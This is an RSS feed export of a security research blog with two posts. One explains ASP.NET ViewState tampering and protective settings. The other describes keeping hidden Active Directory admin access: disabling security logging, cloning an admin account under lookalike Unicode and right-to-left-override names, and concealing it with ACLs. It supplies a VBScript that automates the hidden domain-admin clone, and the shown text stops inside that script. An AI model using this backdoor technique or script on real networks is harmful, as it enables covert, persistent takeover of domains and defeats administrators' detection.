<?xml version="1.0" encoding="UTF-8"?>
<?xml-stylesheet type="text/xsl" media="screen" href="/~d/styles/rss2full.xsl"?><?xml-stylesheet type="text/css" media="screen" href="http://feeds.feedburner.com/~d/styles/itemcontent.css"?><rss xmlns:atom="http://www.w3.org/2005/Atom" xmlns:openSearch="http://a9.com/-/spec/opensearch/1.1/" xmlns:georss="http://www.georss.org/georss" xmlns:gd="http://schemas.google.com/g/2005" xmlns:thr="http://purl.org/syndication/thread/1.0" version="2.0"><channel><atom:id>tag:blogger.com,1999:blog-8549938467002440724</atom:id><lastBuildDate>Sat, 28 Jan 2012 04:56:29 +0000</lastBuildDate><category>Red Hat</category><category>fuzzing</category><category>Microsoft</category><category>0day</category><category>positive technologies</category><category>File Including</category><category>net</category><category>Windows GDI</category><category>web</category><category>Chaos Constructions</category><category>vulnerability</category><category>passwords</category><category>penetration testing</category><category>reverse engineering</category><category>Cisco</category><category>events</category><category>analytics</category><category>Cross-Site Scripting</category><category>conference</category><category>PTResearch</category><category>photos</category><category>SAP DIAG</category><category>JunOS</category><category>SAP</category><category>information security</category><category>metrics</category><category>Mozilla</category><category>server-side attacks</category><category>Proof-of-Concept</category><category>client-side attacks</category><category>video</category><category>Juniper</category><category>crawler</category><category>leakages</category><category>phd2011</category><category>SQL-Injection</category><category>wasc</category><category>vulns</category><category>PoC</category><category>hack</category><category>research</category><category>Remote Crash</category><category>security</category><category>Wireshark</category><category>0-day</category><category>Asterisk</category><category>Stuxnet</category><category>audit</category><category>PCI DSS</category><category>ctf</category><category>web security</category><category>client-side</category><category>Firefox</category><category>quals</category><category>exploits</category><category>сс10</category><category>Linux</category><category>Path Traversal</category><category>phdays</category><category>server-side</category><category>blackbox</category><category>mod_rewrite</category><category>waf</category><category>DoS</category><category>hackquest</category><category>statistics</category><category>Command Execution</category><category>XSS</category><category>mod_security</category><category>pentest</category><category>threats</category><title>[Positive Technologies] Research Lab</title><description>"for positive ideas"</description><link>http://ptresearch.blogspot.com/</link><managingEditor>noreply@blogger.com (Positive Research)</managingEditor><generator>Blogger</generator><openSearch:totalResults>56</openSearch:totalResults><openSearch:startIndex>1</openSearch:startIndex><openSearch:itemsPerPage>25</openSearch:itemsPerPage><atom10:link xmlns:atom10="http://www.w3.org/2005/Atom" rel="self" type="application/rss+xml" href="http://feeds.feedburner.com/positiveTechnologiesResearchLab" /><feedburner:info xmlns:feedburner="http://rssnamespace.org/feedburner/ext/1.0" uri="positivetechnologiesresearchlab" /><atom10:link xmlns:atom10="http://www.w3.org/2005/Atom" rel="hub" href="http://pubsubhubbub.appspot.com/" /><item><guid isPermaLink="false">tag:blogger.com,1999:blog-8549938467002440724.post-4169437856248584210</guid><pubDate>Fri, 27 Jan 2012 08:16:00 +0000</pubDate><atom:updated>2012-01-27T02:57:11.155-08:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">net</category><category domain="http://www.blogger.com/atom/ns#">Microsoft</category><category domain="http://www.blogger.com/atom/ns#">web security</category><title>VIEWSTATE Vulnerabilities</title><description>&lt;a href="http://4.bp.blogspot.com/-tN5C4nx7cZQ/TyKBYJGjGmI/AAAAAAAAAHM/3fbvvmfLJpc/s1600/Untitled-6.png"&gt;&lt;img style="float:left; margin:0 10px 10px 0;cursor:pointer; cursor:hand;width: 200px; height: 148px;" src="http://4.bp.blogspot.com/-tN5C4nx7cZQ/TyKBYJGjGmI/AAAAAAAAAHM/3fbvvmfLJpc/s200/Untitled-6.png" border="0" alt=""id="BLOGGER_PHOTO_ID_5702262329964698210" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;&lt;span style="font-weight: bold;"&gt;1. ViewState Overview&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;"View state is a method that the ASP.NET page framework uses to preserve page and control values between round trips. When the HTML markup for the page is rendered, the current state of the page and values that must be retained during postback are serialized into base64-encoded strings. This information is then put into the view state hidden field or fields."&lt;/span&gt; &lt;br /&gt;MSDN&lt;br /&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;"What does ViewState do?&lt;br /&gt;- Stores values per control by key name, like a Hashtable&lt;br /&gt;- Tracks changes to a ViewState value's initial state&lt;br /&gt;- Serializes and deserializes saved data into a hidden form field on the client&lt;br /&gt;- Automatically restores ViewState data on postbacks"&lt;/span&gt;&lt;br /&gt;From an article on the ViewState mechanisms by an ASP.NET developer&lt;br /&gt;&lt;br /&gt;&lt;a name='more'&gt;&lt;/a&gt;&lt;br /&gt;To put it even simplier, ViewState is a hidden HTML parameter that sends a current structure of page content to the server. Example of use: retaining form field values on the page for by-page list scrolling.&lt;br /&gt;&lt;br /&gt;Though there are widely used methods of disabling or avoiding ViewState (usually, by means of a DBMS), this mechanism is built in ASP.NET by default and is often misused:&lt;br /&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;"Even more important than understanding what it does, is understanding what it does NOT do:&lt;br /&gt;What doesn’t ViewState do?&lt;br /&gt;- Automatically retain state of class variables (private, protected, or public)&lt;br /&gt;- Remember any state information across page loads (only postbacks)&lt;br /&gt;- Remove the need to repopulate data on every request&lt;br /&gt;- ViewState is not responsible for the population of values that are posted such as by TextBox controls (although it does play an important role)"&lt;/span&gt;&lt;br /&gt;From an article on the ViewState mechanisms by an ASP.NET developer&lt;br /&gt;&lt;br /&gt;Obviously, such misuse entails more serious problems, such as a missing filtration or a perverted idea of how the web application should work properly.&lt;br /&gt;Developers tend to believe that if ViewState is a serialized structure, moreover, a base64-encrypted one, no attacker will be able to get to its contents.&lt;br /&gt;&lt;br /&gt;However, the truth is, if the encryption and the data integrity check (MAC) are disabled, accessing the content is much simplier than it seems. Let’s decode base64:&lt;br /&gt;&lt;a href="http://3.bp.blogspot.com/-yIRdUls5-so/TyJbWA-KkZI/AAAAAAAAAGc/rF8S3IfRQuc/s1600/01.png"&gt;&lt;img alt="" border="0" id="BLOGGER_PHOTO_ID_5702220511980458386" src="http://3.bp.blogspot.com/-yIRdUls5-so/TyJbWA-KkZI/AAAAAAAAAGc/rF8S3IfRQuc/s400/01.png" style="cursor: hand; cursor: pointer; display: block; height: 400px; margin: 0px auto 10px; text-align: center; width: 395px;" /&gt;&lt;/a&gt;&lt;span style="font-style: italic;"&gt;Pic. 1. Decoding VIEWSTATE by means of base64_decoder.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Then, open it in the Hex Editor. Now it is evident that any string variable is preceded by bytes that indicate the string’s length (the number of bites depends on the length of the string: a string less than 128 bytes will have one byte for a variable length).&lt;br /&gt;&lt;br /&gt;&lt;a href="http://1.bp.blogspot.com/-aFxVNHV5KEM/TyJb1mk6VbI/AAAAAAAAAG0/l0bCKBIja_U/s1600/03.png"&gt;&lt;img alt="" border="0" id="BLOGGER_PHOTO_ID_5702221054651028914" src="http://1.bp.blogspot.com/-aFxVNHV5KEM/TyJb1mk6VbI/AAAAAAAAAG0/l0bCKBIja_U/s400/03.png" style="cursor: hand; cursor: pointer; display: block; height: 189px; margin: 0px auto 10px; text-align: center; width: 400px;" /&gt;&lt;/a&gt;&lt;span style="font-style: italic;"&gt;Pic. 2. Spoofing content of the serialized structure.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Authoritative resources state that ASP.NET versions earlier than 2.0 use LosFormatter as a serialization/deserialization algorithm, while version 2.0 and later use ObjectStateFormatter. Thus, to change the variable, one needs to define the length of a new string, overwrite the string, overwrite the byte (bytes) with the string length, encode it back with base64 and insert into  __VIEWSTATE.&lt;br /&gt;&lt;br /&gt;&lt;a href="http://1.bp.blogspot.com/-aFxVNHV5KEM/TyJb1mk6VbI/AAAAAAAAAG0/l0bCKBIja_U/s1600/03.png"&gt;&lt;img alt="" border="0" id="BLOGGER_PHOTO_ID_5702221054651028914" src="http://1.bp.blogspot.com/-aFxVNHV5KEM/TyJb1mk6VbI/AAAAAAAAAG0/l0bCKBIja_U/s400/03.png" style="cursor: hand; cursor: pointer; display: block; height: 189px; margin: 0px auto 10px; text-align: center; width: 400px;" /&gt;&lt;/a&gt;&lt;span style="font-style: italic;"&gt;Pic. 3. Spoofing content of the serialized structure.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;2. Vulnerabilities and attacks&lt;/span&gt;&lt;br /&gt;Combined with a low-level knowledge of an average specialist about a correct and secure configuration of web applications, such approach generates the following vulnerabilities and provides opportunities for the following attacks:&lt;br /&gt;• Cross-Site Scripting (XSS)&lt;br /&gt;• Content Spoofing&lt;br /&gt;• SQL Injection&lt;br /&gt;• Information Leakage&lt;br /&gt;• Logical Attacks&lt;br /&gt;• ViewState Vulnerabilities as such&lt;br /&gt;• Other vulnerabilities&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;&lt;span style="font-style: italic;"&gt;2.1. Cross-Site Scripting, Content Spoofing&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;The possibility of content spoofing for an HTML page comes out of ViewState main purpose, i.e. to preserve page and control values. If data from ViewState placed into the HTTP response body are not filtered properly, it results in Content Spoofing and/or Cross-Site Scripting.&lt;br /&gt;Vulnerable configuration: &lt;br /&gt;&lt;span style="font-weight: bold;"&gt;EnableViewStateMac=false&lt;br /&gt;ViewStateEncryptionMode=never|auto &lt;br /&gt;(Depends on RegisterRequiresViewStateEncryption)&lt;br /&gt;ViewStateUserKey=EMPTY&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;&lt;span style="font-style: italic;"&gt;2.2. Information Leakage, Logical Attacks&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;If developer does not encrypt the VIEWSTATE parameter (Securing View State), an attacker can  decode the VIEWSTATE structure and extract confidential data. If developer does not check data integrity (MAC), an attacker can change parameters that can influence the web application logic, thus facilitating Authentication Bypass, Authorization Bypass, and Abuse of Functionality. &lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Vulnerable configuration: &lt;br /&gt;ViewStateEncryptionMode=never|auto&lt;br /&gt;EnableViewStateMac=false|true&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;&lt;span style="font-style: italic;"&gt;2.3. Attacks Against ViewState&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;The ViewState itself is also vulnerable to attacks. For example, September, 2010 saw a publication describing a vulnerability that allowed decrypting AES-encrypted ViewState by sending numerous requests to a server and tracking various error codes (&lt;a href="http://weblogs.asp.net/scottgu/archive/2010/09/18/important-asp-net-security-vulnerability.aspx"&gt;http://weblogs.asp.net/scottgu/archive/2010/09/18/important-asp-net-security-vulnerability.aspx&lt;/a&gt;). &lt;br /&gt;Besides, the earlier versions (1.0, 1.1) are vulnerable to the Denial Of Service (DoS) attacks (against unencrypted VIEWSTATE) and the Replay attacks (against encrypted VIEWSTATE). The latter one is an attack against a cryptographic protocol consisting in resending an intercepted package that will be received appropriately, thus breaking the algorithm. These attacks were described by Michal Zalewski as far as in 2005 (&lt;a href="http://seclists.org/bugtraq/2005/May/27"&gt;http://seclists.org/bugtraq/2005/May/27&lt;/a&gt;).&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;&lt;span style="font-style: italic;"&gt;2.4. Other Vulnerabilities&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;All other vulnerabilities common for web applications, such as SQL injection, OS Commanding, as well as other vulnerabilities of such types as Code Exploitation, Information Disclosure, etc. can and should be checked both in variables of the ViewState structure and in ordinary variables sent by GET/POST/COOKIES.&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Vulnerable configuration: &lt;br /&gt;EnableViewStateMac=false&lt;br /&gt;ViewStateEncryptionMode=never|auto &lt;br /&gt;(depends on RegisterRequiresViewStateEncryption)&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;3. Protection&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;&lt;span style="font-style: italic;"&gt;3.1. EnableViewStateMac&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Default: TRUE&lt;br /&gt;Since: 1.0&lt;/span&gt;&lt;br /&gt;Enables MAC (Machine Authentication Check) to check the  VIEWSTATE parameter values by means of a checksum.&lt;br /&gt;Set the EnableViewStateMac property to "True" in the Page element.&lt;br /&gt;Besides, the activation requires configuring the validationKey and validation properties of the machineKey element.&lt;br /&gt;The following in-built encrypting algorithms are supported: SHA1, MD5, 3DES, AES, HMACSHA256, HMACSHA384, HMACSHA512.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;&lt;span style="font-style: italic;"&gt;3.2. ViewStateEncryptionMode&lt;/span&gt;&lt;/span&gt;&lt;span style="font-weight: bold;"&gt;&lt;br /&gt;Default: Auto&lt;br /&gt;Since: 2.0&lt;/span&gt;&lt;br /&gt;Allows encrypting the VIEWSTATE parameter by any of the following algorithms: DES, 3DES, AES.&lt;br /&gt;For activation, configure the decryptionKey and decryption properties of the machineKey element.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;&lt;span style="font-style: italic;"&gt;3.3. ViewStateUserKey&lt;/span&gt;&lt;/span&gt;&lt;span style="font-weight: bold;"&gt;&lt;br /&gt;Default: EMPTY&lt;br /&gt;Since: 1.1&lt;/span&gt;&lt;br /&gt;Not everyone knows that ViewState protects not only itself against spoofing, but the entire application against CSRF by means of the ViewStateUserKey parameter.&lt;br /&gt;ViewStateUserKey is just a protection mechanism. It is a developer’s duty to ensure its unpredictable and random nature.&lt;br /&gt;Set the ViewStateUserKey property to "String" in the Page element.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;4. Conclusion&lt;/span&gt;&lt;br /&gt;Sections 2 and 3 provide sound evidence that, configured by default, ViewState is secured against vulnerabilities that are not 0-day. However, quite often developers, after having struggled with constantly appearing error notifications about integrity violation, faulty arguments, etc., end up disabling keys that provoke errors, thus leaving the application vulnerable to various attacks.  &lt;br /&gt;Yet, if the web application is properly configured, the probability of errors and even vulnerabilities can be minimized down to 0.&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8549938467002440724-4169437856248584210?l=ptresearch.blogspot.com' alt='' /&gt;&lt;/div&gt;</description><link>http://ptresearch.blogspot.com/2012/01/viewstate-vulnerabilities.html</link><author>noreply@blogger.com (yunusov)</author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="http://4.bp.blogspot.com/-tN5C4nx7cZQ/TyKBYJGjGmI/AAAAAAAAAHM/3fbvvmfLJpc/s72-c/Untitled-6.png" height="72" width="72" /><thr:total>0</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-8549938467002440724.post-5817426361212371123</guid><pubDate>Mon, 23 Jan 2012 18:57:00 +0000</pubDate><atom:updated>2012-01-23T10:57:39.695-08:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">pentest</category><category domain="http://www.blogger.com/atom/ns#">security</category><category domain="http://www.blogger.com/atom/ns#">Microsoft</category><title>A Backdoor in the Next Generation Active Directory</title><description>&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;At the beginning of the last year, I already &lt;a href="http://ptresearch.blogspot.com/2011/04/backdoor-in-active-directory.html"&gt;raised&lt;/a&gt; the issue of post-exploitation in a Microsoft Active Directory domain. The brought forward &lt;a href="http://ptresearch.blogspot.com/2011/04/backdoor-in-active-directory.html"&gt;approach&lt;/a&gt; addressed the variant aimed mostly at the case of the loss of admin privileges rather than their exploitation. Additionally, the action of regaining the privileges itself involved conspicuous events and visually evident manipulations in the directory. In other words, to regain admin privileges one had to become a member of the appropriate security group, such as Domain Admins.&lt;br /&gt;
&lt;br /&gt;
It should be mentioned that administrators get very nervous when suddenly they realize there is someone else in the system. Some of them rush to address the security incident horse and foot, sometimes taking most unpredictable steps;))&lt;br /&gt;
&lt;a name='more'&gt;&lt;/a&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://2.bp.blogspot.com/-4LyGFN-AeIA/TwsZv1PCt1I/AAAAAAAABXs/KOMhfG3zgBQ/s1600/m1.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;br /&gt;
&lt;img border="0" height="277" src="http://2.bp.blogspot.com/-4LyGFN-AeIA/TwsZv1PCt1I/AAAAAAAABXs/KOMhfG3zgBQ/s400/m1.png" width="400" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;
Now imagine how an Active Directory administrator of a large company can react when they see an unfamiliar account name in the Enterprise Admins security group. In case someone really intruded the system, the administrator’s concern is perfectly reasonable. However, in cases of improper counteraction when a pentest is taking place, it is certainly not worth worrying about (along with depriving the pentest guys of their access points and privileges gained with blood and sweat).&lt;br /&gt;
&lt;br /&gt;
I spent a lot of time thinking on how, without scaring administrators, to use the privileges gained during pentest freely (especially with aggressive counteraction of administrators, as it was during my recent pentests). On the one hand, pentesters are strictly limited in their possibilities. For example, the rule of minimizing impact on the object is taken for granted. So, we cannot simply create and leave backdoors all around the network. On the other hand, there are absolutely clear goals that should be achieved before a happy administrator notices unauthorized activity and unplugs the computer.&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;So how can a pentester remain unnoticed in Microsoft networks?&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
The first thing that comes to my mind is to use an admin account. The access is legitimate, so it should not attract any special attention. However, as experience has shown, obtaining clear-text admin password is not always possible. In such cases the attack called &lt;a href="http://oss.coresecurity.com/pshtoolkit/doc/index.html"&gt;Pass-the-Hash&lt;/a&gt; comes to your aid. It would be almost perfectly ok (almost, since the Pass-the-Hash type of attack narrows the possibilities of developing the attack, e.g. the RDP remote access protocol cannot be used), but in serious companies administrators gradually turn to smart cards, which do not allow conducting attacks based on the NTLM protocol faults. Ok, we still can exploit an authorized user's token (e.g., &lt;a href="http://www.offensive-security.com/metasploit-unleashed/Fun_With_Incognito"&gt;incognito&lt;/a&gt;) and/or a Kerberos ticket (e.g., &lt;a href="http://www.ampliasecurity.com/research/wcefaq.html"&gt;WCE&lt;/a&gt;). That's as it may be, of course, but in practice Kerberos is not Kerberos and a token is not a token: available tools for conducting such types of attacks, unfortunately, are definitely lousy. Moreover, in both cases (just as in case of Pass-the-Hash), the attackers are rather limited in their actions by the protocols in use that support domain SSO.&lt;br /&gt;
&lt;br /&gt;
So, the most attractive way is to exploit the privileges of, if not an existing domain admin account, then a created one with a known password...&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;How, while doing this, not to be spotted by an attentive eye of the domain administrator?&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
First, adding changes to Active Directory involves generation of certain events, about which administrators had better not know. So, before intruding a domain (of course, only as part of a pentest and only with an approval of your customer's representative) disable logging of security events on the domain controllers by using an appropriate GPO. Let me remind you that by default the time of group policies background refresh on domain controllers is 15 minutes.&lt;br /&gt;
&lt;br /&gt;
Second, why not to create a visually identical account that is analogous to the existing domain admin account? To achieve it, you can, for example, use Unicode symbols (!). Then, you can set the newly created user’s attribute showInAdvancedViewOnly to TRUE, which will allow you to hide the object in the default view mode of the Manage users and computers (dsa.msc) snap-in. After that, there is one remaining step: to assign the account to an administrative group which is free from a real domain admin (as a rule, administrators just can’t help assigning their accounts to all thinkable and unthinkable administrative groups), for instance, let’s leave the admin account in the Enterprise Admins group, and put its clone into the Domain Admins group.&lt;br /&gt;
&lt;br /&gt;
However, I suppose many readers are already in doubt that the campaign can be successful. And they are right! This technique is good for nothing, since it has two significant defects: &lt;br /&gt;
1. The created account is visible in the directory to an ‘aided eye’.&lt;br /&gt;
2. When searching for users in the domain, the admin account appears double.&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;What are the solutions to these problems?&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
It would seem that the simplest solution is obvious: to set the permissions on the newly created object (our account) appropriately. It is sufficient to forbid the Everyone group to read public information about the object. And in the organization unit, next to the real Active Directory admin, ‘something’ will appear, and this ‘something’ will cease to let itself be noticed in the output of domain accounts search. However, this dolce vita will last not more than 60 minutes. The thing is that by default every 60 minutes the SDPROP process runs on the domain controller which acts as a PDC emulator. The process restores access rights of some Active Directory objects (including all members of administrative groups) according to the defined permissions on the AdminSDHolder object (&lt;a href="http://technet.microsoft.com/en-us/query/ee361593"&gt;http://technet.microsoft.com/en-us/query/ee361593&lt;/a&gt;).&lt;br /&gt;
&lt;br /&gt;
Unfortunately, it is impossible to disable the security mechanism by using standard functionality. A hacking attempt via exploiting permissions on the object may cause replication problems (here it starts to smell of sort of sabotage, which is inadmissible when pentesting). Changing ACLs on the AdminSDHolder object will affect many objects, including all domain admins accounts. So, as a possible feasible solution you may want to use regular running of a script which redresses the consequences of the SDPROP process actions. However, there is even a better alternative.&lt;br /&gt;
&lt;br /&gt;
The SDPROP process restores ACE for specific privileged objects only, but ACEs of organization units that contain such objects remain unchanged. That is just the thing for exploitation! Using Unicode symbols you can freely create organizational units sequence analogous to the one that contains the clone account. "Correct" permissions on the parent container allow hiding it from the sharp eye of administrators (within reasonable limits, of course).&lt;br /&gt;
&lt;br /&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://2.bp.blogspot.com/-Zpd-XokjjuM/TwsZ7_GBlKI/AAAAAAAABX0/kvHLO6JzcAs/s1600/m2.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="232" src="http://2.bp.blogspot.com/-Zpd-XokjjuM/TwsZ7_GBlKI/AAAAAAAABX0/kvHLO6JzcAs/s400/m2.png" width="400" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://3.bp.blogspot.com/-ezlQ9LalAF8/TwsZ_-LviII/AAAAAAAABX8/4m62h8j9aGc/s1600/m3.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="228" src="http://3.bp.blogspot.com/-ezlQ9LalAF8/TwsZ_-LviII/AAAAAAAABX8/4m62h8j9aGc/s400/m3.png" width="400" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;
The idea of this approach is that Active Directory administrators should not develop alarming suspicions that the systems entrusted to them are compromised. They still remain valid administrators, however there is a privileged group member account which is visually identical to the AD admin account...&lt;br /&gt;
&lt;br /&gt;
And one more thing. In order to avoid appearing of the doubles of the accounts when searching in the directory, you can use, for instance, the &lt;a href="http://www.fileformat.info/info/unicode/char/202e/index.htm"&gt;202E&lt;/a&gt; symbol (my thanks to &lt;a href="https://twitter.com/#!/arbitrarycode"&gt;Alexander Zaitsev&lt;/a&gt; for reminding me this). The symbol turns over the string that follows it. So, if you create, for example, a clone for the ‘dmitry.ivanov’ account, the newly created account name will look like ‘202E’+’vonavi.yrtimd’. Perhaps this approach is not very convenient for authenticating in the system, but it helps avoid appearing in the search input.&lt;br /&gt;
&lt;br /&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://2.bp.blogspot.com/-XhcLFt90iGk/TwsaE7ZCMJI/AAAAAAAABYE/GWNN3ESzMS8/s1600/m4.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="202" src="http://2.bp.blogspot.com/-XhcLFt90iGk/TwsaE7ZCMJI/AAAAAAAABYE/GWNN3ESzMS8/s400/m4.png" width="400" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;
In the aspect of security event logs, the approach also allows you to remain unnoticed for a certain period of time.&lt;br /&gt;
&lt;br /&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://2.bp.blogspot.com/-Lec6xfCsIAw/TwsaKMK-onI/AAAAAAAABYM/Sgvfm5aapaE/s1600/m5.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="241" src="http://2.bp.blogspot.com/-Lec6xfCsIAw/TwsaKMK-onI/AAAAAAAABYM/Sgvfm5aapaE/s400/m5.png" width="400" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;
The script that automatically performs all the covered steps is available below. It includes the following customizable parameters:&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;strAdminsamAccountName&lt;/b&gt; is the account name that should be cloned,&lt;br /&gt;
&lt;b&gt;strAdminsGroup&lt;/b&gt; is the privileged group to which the clone should be assigned,&lt;br /&gt;
&lt;b&gt;strPassNewUser&lt;/b&gt; is the password that should be set for the newly created account.&lt;br /&gt;
&lt;br /&gt;
On Error Resume Next&lt;br /&gt;
&lt;br /&gt;
strAdminsamAccountName = "dmitry.ivanov"&lt;br /&gt;
strAdminsGroup = "Domain Admins"&lt;br /&gt;
strPassNewUser = "P@ssw0rd"&lt;br /&gt;
&lt;br /&gt;
' - - -&lt;br /&gt;
&lt;br /&gt;
Dim arrContainer(), i&lt;br /&gt;
&lt;br /&gt;
Set objRootDSE = GetObject("LDAP://RootDSE")&lt;br /&gt;
strDomain = objRootDSE.Get("DefaultNamingContext")&lt;br /&gt;
Set objDomain = GetObject("LDAP://" &amp;amp; strDomain)&lt;br /&gt;
&lt;br /&gt;
strAdminsamAccountNameDN = SearchDN("' WHERE objectCategory='user' AND samAccountName = '" &amp;amp; strAdminsamAccountName &amp;amp; "'")&lt;br /&gt;
&lt;br /&gt;
If Not IsNull(strAdminsamAccountNameDN) Then&lt;br /&gt;
&lt;br /&gt;
Set objAdmin = GetObject("LDAP://" &amp;amp; strAdminsamAccountNameDN)&lt;br /&gt;
Set objOU = GetObject(objAdmin.parent)&lt;br /&gt;
&lt;br /&gt;
i=0&lt;br /&gt;
Call EnumOUs(objOU)&lt;br /&gt;
&lt;br /&gt;
For j = i-1 To 0 Step -1&lt;br /&gt;
&lt;br /&gt;
if strContainer="" Then&lt;br /&gt;
strContainer = "OU=" &amp;amp; arrContainer(j) &amp;amp; strContainer&lt;br /&gt;
primaryContainer = strContainer&lt;br /&gt;
Else&lt;br /&gt;
strContainer = "OU=" &amp;amp; arrContainer(j) &amp;amp; "," &amp;amp; strContainer&lt;br /&gt;
End if&lt;br /&gt;
Set objOUcreate = objDomain.Create("organizationalUnit", strContainer)&lt;br /&gt;
objOUcreate.SetInfo&lt;br /&gt;
Next&lt;br /&gt;
&lt;br /&gt;
Set objContainer = GetObject("LDAP://" &amp;amp; strContainer &amp;amp; "," &amp;amp; strDomain)&lt;br /&gt;
&lt;br /&gt;
Set objUserCreate = objContainer.Create("User", "cn=" &amp;amp; ChrW(8238) &amp;amp; StrReverse(objAdmin.displayName))&lt;br /&gt;
objUserCreate.Put "sAMAccountName", ChrW(8238) &amp;amp; StrReverse(strAdminsamAccountName)&lt;br /&gt;
objUserCreate.SetInfo&lt;br /&gt;
On Error Resume Next&lt;br /&gt;
&lt;br /&gt;
objUserCreate.SetPassword strPassNewUser&lt;br /&gt;
objUserCreate.Put "userAccountControl", 66048&lt;br /&gt;
objUserCreate.Put "givenName", ChrW(8238) &amp;amp; StrReverse(objAdmin.givenName)&lt;br /&gt;
objUserCreate.Put "sn", ChrW(8238) &amp;amp; StrReverse(objAdmin.sn)&lt;br /&gt;
objUserCreate.Put "initials", ChrW(8238) &amp;amp; StrReverse(objAdmin.initials)&lt;br /&gt;
objUserCreate.SetInfo&lt;br /&gt;
On Error Resume Next&lt;br /&gt;
&lt;br /&gt;
objUserCreate.Put "showInAdvancedViewOnly", "TRUE"&lt;br /&gt;
objUserCreate.SetInfo&lt;br /&gt;
On Error Resume Next&lt;br /&gt;
&lt;br /&gt;
NewUserDN = "cn=" &amp;amp; ChrW(8238) &amp;amp; StrReverse(objAdmin.displayName) &amp;amp; "," &amp;amp; objContainer.distinguishedName&lt;br /&gt;
&lt;br /&gt;
strAdminsGroupDN = SearchDN("' WHERE objectCategory='group' AND samAccountName = '" &amp;amp; strAdminsGroup &amp;amp; "'")&lt;br /&gt;
&lt;br /&gt;
If Not IsNull(strAdminsGroupDN) Then&lt;br /&gt;
Set objGroup = GetObject("LDAP://" &amp;amp; strAdminsGroupDN)&lt;br /&gt;
objGroup.PutEx 4, "member", Array(strAdminsamAccountNameDN)&lt;br /&gt;
objGroup.SetInfo&lt;br /&gt;
objGroup.PutEx 3, "member", Array(NewUserDN)&lt;br /&gt;
objGroup.SetInfo&lt;br /&gt;
End If&lt;br /&gt;
&lt;br /&gt;
OUAddAce(primaryContainer &amp;amp; "," &amp;amp; strDomain)&lt;br /&gt;
&lt;br /&gt;
End If&lt;br /&gt;
&lt;br /&gt;
Function SearchDN(str)&lt;br /&gt;
Set objConnection = CreateObject("ADODB.Connection")&lt;br /&gt;
&lt;br /&gt;
objConnection.Provider = "ADsDSOObject"&lt;br /&gt;
objConnection.Open "Active Directory Provider"&lt;br /&gt;
&lt;br /&gt;
Set objCommand = CreateObject("ADODB.Command")&lt;br /&gt;
Set objCommand.ActiveConnection = objConnection&lt;br /&gt;
objCommand.Properties("Searchscope") = 2&lt;br /&gt;
&lt;br /&gt;
objCommand.CommandText = "SELECT distinguishedName FROM 'LDAP://" &amp;amp; strDomain &amp;amp; str&lt;br /&gt;
Set objRecordSet = objCommand.Execute&lt;br /&gt;
If Not objRecordSet.EOF Then&lt;br /&gt;
SearchDN = objRecordSet.Fields("distinguishedName").Value&lt;br /&gt;
End if&lt;br /&gt;
End Function&lt;br /&gt;
&lt;br /&gt;
Sub EnumOUs(objChild)&lt;br /&gt;
Dim objParent&lt;br /&gt;
&lt;br /&gt;
Set objParent = GetObject(objChild.Parent)&lt;br /&gt;
